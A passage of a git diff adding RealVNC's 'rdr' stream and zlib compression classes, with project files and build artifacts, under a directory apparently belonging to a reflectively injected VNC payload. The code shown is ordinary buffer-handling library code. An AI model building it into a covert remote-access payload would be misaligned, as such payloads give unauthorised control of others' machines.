Suite 330, Boston, MA 02111-1307, +// USA. + +// +// A MemOutStream grows as needed when data is written to it. +// + +#ifndef __RDR_MEMOUTSTREAM_H__ +#define __RDR_MEMOUTSTREAM_H__ + +#include + +namespace rdr { + + class MemOutStream : public OutStream { + + public: + + MemOutStream(int len=1024) { + start = ptr = new U8[len]; + end = start + len; + } + + virtual ~MemOutStream() { + delete [] start; + } + + void writeBytes(const void* data, int length) { + check(length); + memcpy(ptr, data, length); + ptr += length; + } + + int length() { return ptr - start; } + void clear() { ptr = start; }; + void reposition(int pos) { ptr = start + pos; } + + // data() returns a pointer to the buffer. + + const void* data() { return (const void*)start; } + + private: + + // overrun() either doubles the buffer or adds enough space for nItems of + // size itemSize bytes. + + int overrun(int itemSize, int nItems) { + int len = ptr - start + itemSize * nItems; + if (len < (end - start) * 2) + len = (end - start) * 2; + + U8* newStart = new U8[len]; + memcpy(newStart, start, ptr - start); + ptr = newStart + (ptr - start); + delete [] start; + start = newStart; + end = newStart + len; + + return nItems; + } + + U8* start; + }; + +} + +#endif diff --git a/external/source/reflective_vncdll/rdr/NullOutStream.cxx b/external/source/reflective_vncdll/rdr/NullOutStream.cxx new file mode 100644 index 0000000000..6d3845bcad --- /dev/null +++ b/external/source/reflective_vncdll/rdr/NullOutStream.cxx @@ -0,0 +1,60 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +#include +#include + +using namespace rdr; + +static const int bufferSize = 1024; + +NullOutStream::NullOutStream() + : offset(0) +{ + start = ptr = new U8[bufferSize]; + end = start + bufferSize; +} + +NullOutStream::~NullOutStream() +{ + delete [] start; +} + +int NullOutStream::length() +{ + return offset + ptr - start; +} + +void NullOutStream::writeBytes(const void* data, int length) +{ + offset += length; +} + +int NullOutStream::overrun(int itemSize, int nItems) +{ + if (itemSize > bufferSize) + throw Exception("NullOutStream overrun: max itemSize exceeded"); + + offset += ptr - start; + ptr = start; + + if (itemSize * nItems > end - ptr) + nItems = (end - ptr) / itemSize; + + return nItems; +} diff --git a/external/source/reflective_vncdll/rdr/NullOutStream.h b/external/source/reflective_vncdll/rdr/NullOutStream.h new file mode 100644 index 0000000000..37f85d41bb --- /dev/null +++ b/external/source/reflective_vncdll/rdr/NullOutStream.h @@ -0,0 +1,42 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +#ifndef __RDR_NULLOUTSTREAM_H__ +#define __RDR_NULLOUTSTREAM_H__ + +#include + +namespace rdr { + + class NullOutStream : public OutStream { + + public: + NullOutStream(); + virtual ~NullOutStream(); + int length(); + void writeBytes(const void* data, int length); + + private: + int overrun(int itemSize, int nItems); + int offset; + U8* start; + }; + +} + +#endif diff --git a/external/source/reflective_vncdll/rdr/OutStream.h b/external/source/reflective_vncdll/rdr/OutStream.h new file mode 100644 index 0000000000..86fa9d04ce --- /dev/null +++ b/external/source/reflective_vncdll/rdr/OutStream.h @@ -0,0 +1,152 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +// +// rdr::OutStream marshalls data into a buffer stored in RDR (RFB Data +// Representation). +// + +#ifndef __RDR_OUTSTREAM_H__ +#define __RDR_OUTSTREAM_H__ + +#include +#include // for memcpy + +namespace rdr { + + class OutStream { + + protected: + + OutStream() {} + + public: + + virtual ~OutStream() {} + + // check() ensures there is buffer space for at least one item of size + // itemSize bytes. Returns the number of items which fit (up to a maximum + // of nItems). + + inline int check(int itemSize, int nItems=1) + { + if (ptr + itemSize * nItems > end) { + if (ptr + itemSize > end) + return overrun(itemSize, nItems); + + nItems = (end - ptr) / itemSize; + } + return nItems; + } + + // writeU/SN() methods write unsigned and signed N-bit integers. + + inline void writeU8( U8 u) { check(1); *ptr++ = u; } + inline void writeU16(U16 u) { check(2); *ptr++ = u >> 8; *ptr++ = (U8)u; } + inline void writeU32(U32 u) { check(4); *ptr++ = u >> 24; *ptr++ = u >> 16; + *ptr++ = u >> 8; *ptr++ = u; } + + inline void writeS8( S8 s) { writeU8((U8)s); } + inline void writeS16(S16 s) { writeU16((U16)s); } + inline void writeS32(S32 s) { writeU32((U32)s); } + + // writeString() writes a string - a U32 length followed by the data. The + // given string should be null-terminated (but the terminating null is not + // written to the stream). + + inline void writeString(const char* str) { + U32 len = strlen(str); + writeU32(len); + writeBytes(str, len); + } + + inline void pad(int bytes) { + while (bytes-- > 0) writeU8(0); + } + + inline void skip(int bytes) { + while (bytes > 0) { + int n = check(1, bytes); + ptr += n; + bytes -= n; + } + } + + // writeBytes() writes an exact number of bytes. + + virtual void writeBytes(const void* data, int length) { + const U8* dataPtr = (const U8*)data; + const U8* dataEnd = dataPtr + length; + while (dataPtr < dataEnd) { + int n = check(1, dataEnd - dataPtr); + memcpy(ptr, dataPtr, n); + ptr += n; + dataPtr += n; + } + } + + // writeOpaqueN() writes a quantity without byte-swapping. + + inline void writeOpaque8( U8 u) { writeU8(u); } + inline void writeOpaque16(U16 u) { check(2); *ptr++ = ((U8*)&u)[0]; + *ptr++ = ((U8*)&u)[1]; } + inline void writeOpaque32(U32 u) { check(4); *ptr++ = ((U8*)&u)[0]; + *ptr++ = ((U8*)&u)[1]; + *ptr++ = ((U8*)&u)[2]; + *ptr++ = ((U8*)&u)[3]; } + inline void writeOpaque24A(U32 u) { check(3); *ptr++ = ((U8*)&u)[0]; + *ptr++ = ((U8*)&u)[1]; + *ptr++ = ((U8*)&u)[2]; } + inline void writeOpaque24B(U32 u) { check(3); *ptr++ = ((U8*)&u)[1]; + *ptr++ = ((U8*)&u)[2]; + *ptr++ = ((U8*)&u)[3]; } + + // length() returns the length of the stream. + + virtual int length() = 0; + + // flush() requests that the stream be flushed. + + virtual void flush() {} + + // getptr(), getend() and setptr() are "dirty" methods which allow you to + // manipulate the buffer directly. This is useful for a stream which is a + // wrapper around an underlying stream. + + inline U8* getptr() { return ptr; } + inline U8* getend() { return end; } + inline void setptr(U8* p) { ptr = p; } + + private: + + // overrun() is implemented by a derived class to cope with buffer overrun. + // It ensures there are at least itemSize bytes of buffer space. Returns + // the number of items which fit (up to a maximum of nItems). itemSize is + // supposed to be "small" (a few bytes). + + virtual int overrun(int itemSize, int nItems) = 0; + + protected: + + U8* ptr; + U8* end; + }; + +} + +#endif diff --git a/external/source/reflective_vncdll/rdr/Release/BuildLog.htm b/external/source/reflective_vncdll/rdr/Release/BuildLog.htm new file mode 100644 index 0000000000..ba81ae9781 Binary files /dev/null and b/external/source/reflective_vncdll/rdr/Release/BuildLog.htm differ diff --git a/external/source/reflective_vncdll/rdr/Release/FdInStream.obj b/external/source/reflective_vncdll/rdr/Release/FdInStream.obj new file mode 100644 index 0000000000..f81400f80b Binary files /dev/null and b/external/source/reflective_vncdll/rdr/Release/FdInStream.obj differ diff --git a/external/source/reflective_vncdll/rdr/Release/FdOutStream.obj b/external/source/reflective_vncdll/rdr/Release/FdOutStream.obj new file mode 100644 index 0000000000..4ee3d66826 Binary files /dev/null and b/external/source/reflective_vncdll/rdr/Release/FdOutStream.obj differ diff --git a/external/source/reflective_vncdll/rdr/Release/InStream.obj b/external/source/reflective_vncdll/rdr/Release/InStream.obj new file mode 100644 index 0000000000..2352273272 Binary files /dev/null and b/external/source/reflective_vncdll/rdr/Release/InStream.obj differ diff --git a/external/source/reflective_vncdll/rdr/Release/NullOutStream.obj b/external/source/reflective_vncdll/rdr/Release/NullOutStream.obj new file mode 100644 index 0000000000..a061c5d9c2 Binary files /dev/null and b/external/source/reflective_vncdll/rdr/Release/NullOutStream.obj differ diff --git a/external/source/reflective_vncdll/rdr/Release/ZlibInStream.obj b/external/source/reflective_vncdll/rdr/Release/ZlibInStream.obj new file mode 100644 index 0000000000..644642d29d Binary files /dev/null and b/external/source/reflective_vncdll/rdr/Release/ZlibInStream.obj differ diff --git a/external/source/reflective_vncdll/rdr/Release/ZlibOutStream.obj b/external/source/reflective_vncdll/rdr/Release/ZlibOutStream.obj new file mode 100644 index 0000000000..f149c16f40 Binary files /dev/null and b/external/source/reflective_vncdll/rdr/Release/ZlibOutStream.obj differ diff --git a/external/source/reflective_vncdll/rdr/Release/rdr.lib b/external/source/reflective_vncdll/rdr/Release/rdr.lib new file mode 100644 index 0000000000..de3aec9af3 Binary files /dev/null and b/external/source/reflective_vncdll/rdr/Release/rdr.lib differ diff --git a/external/source/reflective_vncdll/rdr/Release/vc90.idb b/external/source/reflective_vncdll/rdr/Release/vc90.idb new file mode 100644 index 0000000000..712a1dae82 Binary files /dev/null and b/external/source/reflective_vncdll/rdr/Release/vc90.idb differ diff --git a/external/source/reflective_vncdll/rdr/ZlibInStream.cxx b/external/source/reflective_vncdll/rdr/ZlibInStream.cxx new file mode 100644 index 0000000000..ec5f6c7a9c --- /dev/null +++ b/external/source/reflective_vncdll/rdr/ZlibInStream.cxx @@ -0,0 +1,121 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +#include +#include +#include + +using namespace rdr; + +enum { DEFAULT_BUF_SIZE = 16384 }; + +ZlibInStream::ZlibInStream(int bufSize_) + : underlying(0), bufSize(bufSize_ ? bufSize_ : DEFAULT_BUF_SIZE), offset(0), + bytesIn(0) +{ + zs = new z_stream; + zs->zalloc = Z_NULL; + zs->zfree = Z_NULL; + zs->opaque = Z_NULL; + zs->next_in = Z_NULL; + zs->avail_in = 0; + if (inflateInit(zs) != Z_OK) { + delete zs; + throw Exception("ZlibInStream: inflateInit failed"); + } + ptr = end = start = new U8[bufSize]; +} + +ZlibInStream::~ZlibInStream() +{ + delete [] start; + inflateEnd(zs); + delete zs; +} + +void ZlibInStream::setUnderlying(InStream* is, int bytesIn_) +{ + underlying = is; + bytesIn = bytesIn_; + ptr = end = start; +} + +int ZlibInStream::pos() +{ + return offset + ptr - start; +} + +void ZlibInStream::reset() +{ + ptr = end = start; + if (!underlying) return; + + while (bytesIn > 0) { + decompress(); + end = start; // throw away any data + } + underlying = 0; +} + +int ZlibInStream::overrun(int itemSize, int nItems) +{ + if (itemSize > bufSize) + throw Exception("ZlibInStream overrun: max itemSize exceeded"); + if (!underlying) + throw Exception("ZlibInStream overrun: no underlying stream"); + + if (end - ptr != 0) + memmove(start, ptr, end - ptr); + + offset += ptr - start; + end -= ptr - start; + ptr = start; + + while (end - ptr < itemSize) { + decompress(); + } + + if (itemSize * nItems > end - ptr) + nItems = (end - ptr) / itemSize; + + return nItems; +} + +// decompress() calls the decompressor once. Note that this won't necessarily +// generate any output data - it may just consume some input data. + +void ZlibInStream::decompress() +{ + zs->next_out = (U8*)end; + zs->avail_out = start + bufSize - end; + + underlying->check(1); + zs->next_in = (U8*)underlying->getptr(); + zs->avail_in = underlying->getend() - underlying->getptr(); + if ((int)zs->avail_in > bytesIn) + zs->avail_in = bytesIn; + + int rc = inflate(zs, Z_SYNC_FLUSH); + if (rc != Z_OK) { + throw Exception("ZlibInStream: inflate failed"); + } + + bytesIn -= zs->next_in - underlying->getptr(); + end = zs->next_out; + underlying->setptr(zs->next_in); +} diff --git a/external/source/reflective_vncdll/rdr/ZlibInStream.h b/external/source/reflective_vncdll/rdr/ZlibInStream.h new file mode 100644 index 0000000000..448e1ed3ad --- /dev/null +++ b/external/source/reflective_vncdll/rdr/ZlibInStream.h @@ -0,0 +1,59 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +// +// ZlibInStream streams from a compressed data stream ("underlying"), +// decompressing with zlib on the fly. +// + +#ifndef __RDR_ZLIBINSTREAM_H__ +#define __RDR_ZLIBINSTREAM_H__ + +#include + +struct z_stream_s; + +namespace rdr { + + class ZlibInStream : public InStream { + + public: + + ZlibInStream(int bufSize=0); + virtual ~ZlibInStream(); + + void setUnderlying(InStream* is, int bytesIn); + void reset(); + int pos(); + + private: + + int overrun(int itemSize, int nItems); + void decompress(); + + InStream* underlying; + int bufSize; + int offset; + z_stream_s* zs; + int bytesIn; + U8* start; + }; + +} // end of namespace rdr + +#endif diff --git a/external/source/reflective_vncdll/rdr/ZlibOutStream.cxx b/external/source/reflective_vncdll/rdr/ZlibOutStream.cxx new file mode 100644 index 0000000000..c8ce7f8dda --- /dev/null +++ b/external/source/reflective_vncdll/rdr/ZlibOutStream.cxx @@ -0,0 +1,140 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +#include +#include +#include + +using namespace rdr; + +enum { DEFAULT_BUF_SIZE = 16384 }; + +ZlibOutStream::ZlibOutStream(OutStream* os, int bufSize_) + : underlying(os), bufSize(bufSize_ ? bufSize_ : DEFAULT_BUF_SIZE), offset(0) +{ + zs = new z_stream; + zs->zalloc = Z_NULL; + zs->zfree = Z_NULL; + zs->opaque = Z_NULL; + if (deflateInit(zs, Z_DEFAULT_COMPRESSION) != Z_OK) { + delete zs; + throw Exception("ZlibOutStream: deflateInit failed"); + } + ptr = start = new U8[bufSize]; + end = start + bufSize; +} + +ZlibOutStream::~ZlibOutStream() +{ + try { + flush(); + } catch (Exception&) { + } + delete [] start; + deflateEnd(zs); + delete zs; +} + +void ZlibOutStream::setUnderlying(OutStream* os) +{ + underlying = os; +} + +int ZlibOutStream::length() +{ + return offset + ptr - start; +} + +void ZlibOutStream::flush() +{ + zs->next_in = start; + zs->avail_in = ptr - start; + +// fprintf(stderr,"zos flush: avail_in %d\n",zs->avail_in); + + while (zs->avail_in != 0) { + + do { + underlying->check(1); + zs->next_out = underlying->getptr(); + zs->avail_out = underlying->getend() - underlying->getptr(); + +// fprintf(stderr,"zos flush: calling deflate, avail_in %d, avail_out %d\n", +// zs->avail_in,zs->avail_out); + int rc = deflate(zs, Z_SYNC_FLUSH); + if (rc != Z_OK) throw Exception("ZlibOutStream: deflate failed"); + +// fprintf(stderr,"zos flush: after deflate: %d bytes\n", +// zs->next_out-underlying->getptr()); + + underlying->setptr(zs->next_out); + } while (zs->avail_out == 0); + } + + offset += ptr - start; + ptr = start; +} + +int ZlibOutStream::overrun(int itemSize, int nItems) +{ +// fprintf(stderr,"ZlibOutStream overrun\n"); + + if (itemSize > bufSize) + throw Exception("ZlibOutStream overrun: max itemSize exceeded"); + + while (end - ptr < itemSize) { + zs->next_in = start; + zs->avail_in = ptr - start; + + do { + underlying->check(1); + zs->next_out = underlying->getptr(); + zs->avail_out = underlying->getend() - underlying->getptr(); + +// fprintf(stderr,"zos overrun: calling deflate, avail_in %d, avail_out %d\n", +// zs->avail_in,zs->avail_out); + + int rc = deflate(zs, 0); + if (rc != Z_OK) throw Exception("ZlibOutStream: deflate failed"); + +// fprintf(stderr,"zos overrun: after deflate: %d bytes\n", +// zs->next_out-underlying->getptr()); + + underlying->setptr(zs->next_out); + } while (zs->avail_out == 0); + + // output buffer not full + + if (zs->avail_in == 0) { + offset += ptr - start; + ptr = start; + } else { + // but didn't consume all the data? try shifting what's left to the + // start of the buffer. + fprintf(stderr,"z out buf not full, but in data not consumed\n"); + memmove(start, zs->next_in, ptr - zs->next_in); + offset += zs->next_in - start; + ptr -= zs->next_in - start; + } + } + + if (itemSize * nItems > end - ptr) + nItems = (end - ptr) / itemSize; + + return nItems; +} diff --git a/external/source/reflective_vncdll/rdr/ZlibOutStream.h b/external/source/reflective_vncdll/rdr/ZlibOutStream.h new file mode 100644 index 0000000000..83c7391172 --- /dev/null +++ b/external/source/reflective_vncdll/rdr/ZlibOutStream.h @@ -0,0 +1,57 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +// +// ZlibOutStream streams to a compressed data stream (underlying), compressing +// with zlib on the fly. +// + +#ifndef __RDR_ZLIBOUTSTREAM_H__ +#define __RDR_ZLIBOUTSTREAM_H__ + +#include + +struct z_stream_s; + +namespace rdr { + + class ZlibOutStream : public OutStream { + + public: + + ZlibOutStream(OutStream* os=0, int bufSize=0); + virtual ~ZlibOutStream(); + + void setUnderlying(OutStream* os); + void flush(); + int length(); + + private: + + int overrun(int itemSize, int nItems); + + OutStream* underlying; + int bufSize; + int offset; + z_stream_s* zs; + U8* start; + }; + +} // end of namespace rdr + +#endif diff --git a/external/source/reflective_vncdll/rdr/rdr.dsp b/external/source/reflective_vncdll/rdr/rdr.dsp new file mode 100644 index 0000000000..6a826233f5 --- /dev/null +++ b/external/source/reflective_vncdll/rdr/rdr.dsp @@ -0,0 +1,245 @@ +# Microsoft Developer Studio Project File - Name="rdr" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Static Library" 0x0104 + +CFG=rdr - Win32 Release CORBA DEBUG +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "rdr.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "rdr.mak" CFG="rdr - Win32 Release CORBA DEBUG" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "rdr - Win32 Release" (based on "Win32 (x86) Static Library") +!MESSAGE "rdr - Win32 Debug" (based on "Win32 (x86) Static Library") +!MESSAGE "rdr - Win32 Release CORBA DEBUG" (based on "Win32 (x86) Static Library") +!MESSAGE "rdr - Win32 Release CORBA" (based on "Win32 (x86) Static Library") +!MESSAGE "rdr - Win32 Profile" (based on "Win32 (x86) Static Library") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "rdr - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c +# ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LIB32=link.exe -lib +# ADD BASE LIB32 /nologo +# ADD LIB32 /nologo + +!ELSEIF "$(CFG)" == "rdr - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c +# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c +# ADD BASE RSC /l 0x809 /d "_DEBUG" +# ADD RSC /l 0x809 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LIB32=link.exe -lib +# ADD BASE LIB32 /nologo +# ADD LIB32 /nologo + +!ELSEIF "$(CFG)" == "rdr - Win32 Release CORBA DEBUG" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "rdr___Win32_Release_CORBA_DEBUG" +# PROP BASE Intermediate_Dir "rdr___Win32_Release_CORBA_DEBUG" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "..\Release_CORBA_DEBUG" +# PROP Intermediate_Dir "..\Release_CORBA_DEBUG" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c +# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c +# ADD BASE RSC /l 0x809 /d "_DEBUG" +# ADD RSC /l 0x809 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LIB32=link.exe -lib +# ADD BASE LIB32 /nologo +# ADD LIB32 /nologo + +!ELSEIF "$(CFG)" == "rdr - Win32 Release CORBA" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "rdr___Win32_Release_CORBA" +# PROP BASE Intermediate_Dir "rdr___Win32_Release_CORBA" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "..\Release_CORBA" +# PROP Intermediate_Dir "..\Release_CORBA" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MD /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c +# ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LIB32=link.exe -lib +# ADD BASE LIB32 /nologo +# ADD LIB32 /nologo + +!ELSEIF "$(CFG)" == "rdr - Win32 Profile" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "rdr___Win32_Profile" +# PROP BASE Intermediate_Dir "rdr___Win32_Profile" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "..\Profile" +# PROP Intermediate_Dir "..\Profile" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c +# ADD CPP /nologo /MTd /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LIB32=link.exe -lib +# ADD BASE LIB32 /nologo +# ADD LIB32 /nologo + +!ENDIF + +# Begin Target + +# Name "rdr - Win32 Release" +# Name "rdr - Win32 Debug" +# Name "rdr - Win32 Release CORBA DEBUG" +# Name "rdr - Win32 Release CORBA" +# Name "rdr - Win32 Profile" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\FdInStream.cxx +# ADD CPP /I ".." /I "../zlib" +# End Source File +# Begin Source File + +SOURCE=.\FdOutStream.cxx +# ADD CPP /I ".." /I "../zlib" +# End Source File +# Begin Source File + +SOURCE=.\InStream.cxx +# ADD CPP /I ".." /I "../zlib" +# End Source File +# Begin Source File + +SOURCE=.\NullOutStream.cxx +# ADD CPP /I ".." /I "../zlib" +# End Source File +# Begin Source File + +SOURCE=.\ZlibInStream.cxx +# ADD CPP /I ".." /I "../zlib" +# End Source File +# Begin Source File + +SOURCE=.\ZlibOutStream.cxx +# ADD CPP /I ".." /I "../zlib" +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# Begin Source File + +SOURCE=.\Exception.h +# End Source File +# Begin Source File + +SOURCE=.\FdInStream.h +# End Source File +# Begin Source File + +SOURCE=.\FdOutStream.h +# End Source File +# Begin Source File + +SOURCE=.\FixedMemOutStream.h +# End Source File +# Begin Source File + +SOURCE=.\InStream.h +# End Source File +# Begin Source File + +SOURCE=.\MemInStream.h +# End Source File +# Begin Source File + +SOURCE=.\MemOutStream.h +# End Source File +# Begin Source File + +SOURCE=.\NullOutStream.h +# End Source File +# Begin Source File + +SOURCE=.\OutStream.h +# End Source File +# Begin Source File + +SOURCE=.\types.h +# End Source File +# Begin Source File + +SOURCE=.\ZlibInStream.h +# End Source File +# Begin Source File + +SOURCE=.\ZlibOutStream.h +# End Source File +# End Group +# End Target +# End Project diff --git a/external/source/reflective_vncdll/rdr/rdr.vcproj b/external/source/reflective_vncdll/rdr/rdr.vcproj new file mode 100644 index 0000000000..6cae1afb3e --- /dev/null +++ b/external/source/reflective_vncdll/rdr/rdr.vcproj @@ -0,0 +1,245 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/reflective_vncdll/rdr/rdr.vcproj.7.10.old b/external/source/reflective_vncdll/rdr/rdr.vcproj.7.10.old new file mode 100644 index 0000000000..f96929a2ce --- /dev/null +++ b/external/source/reflective_vncdll/rdr/rdr.vcproj.7.10.old @@ -0,0 +1,186 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/reflective_vncdll/rdr/rdr.vcproj.UNKNOWN.steve.user b/external/source/reflective_vncdll/rdr/rdr.vcproj.UNKNOWN.steve.user new file mode 100644 index 0000000000..4235de006f --- /dev/null +++ b/external/source/reflective_vncdll/rdr/rdr.vcproj.UNKNOWN.steve.user @@ -0,0 +1,37 @@ + + + + + + + + diff --git a/external/source/reflective_vncdll/rdr/types.h b/external/source/reflective_vncdll/rdr/types.h new file mode 100644 index 0000000000..c364f4124e --- /dev/null +++ b/external/source/reflective_vncdll/rdr/types.h @@ -0,0 +1,33 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the 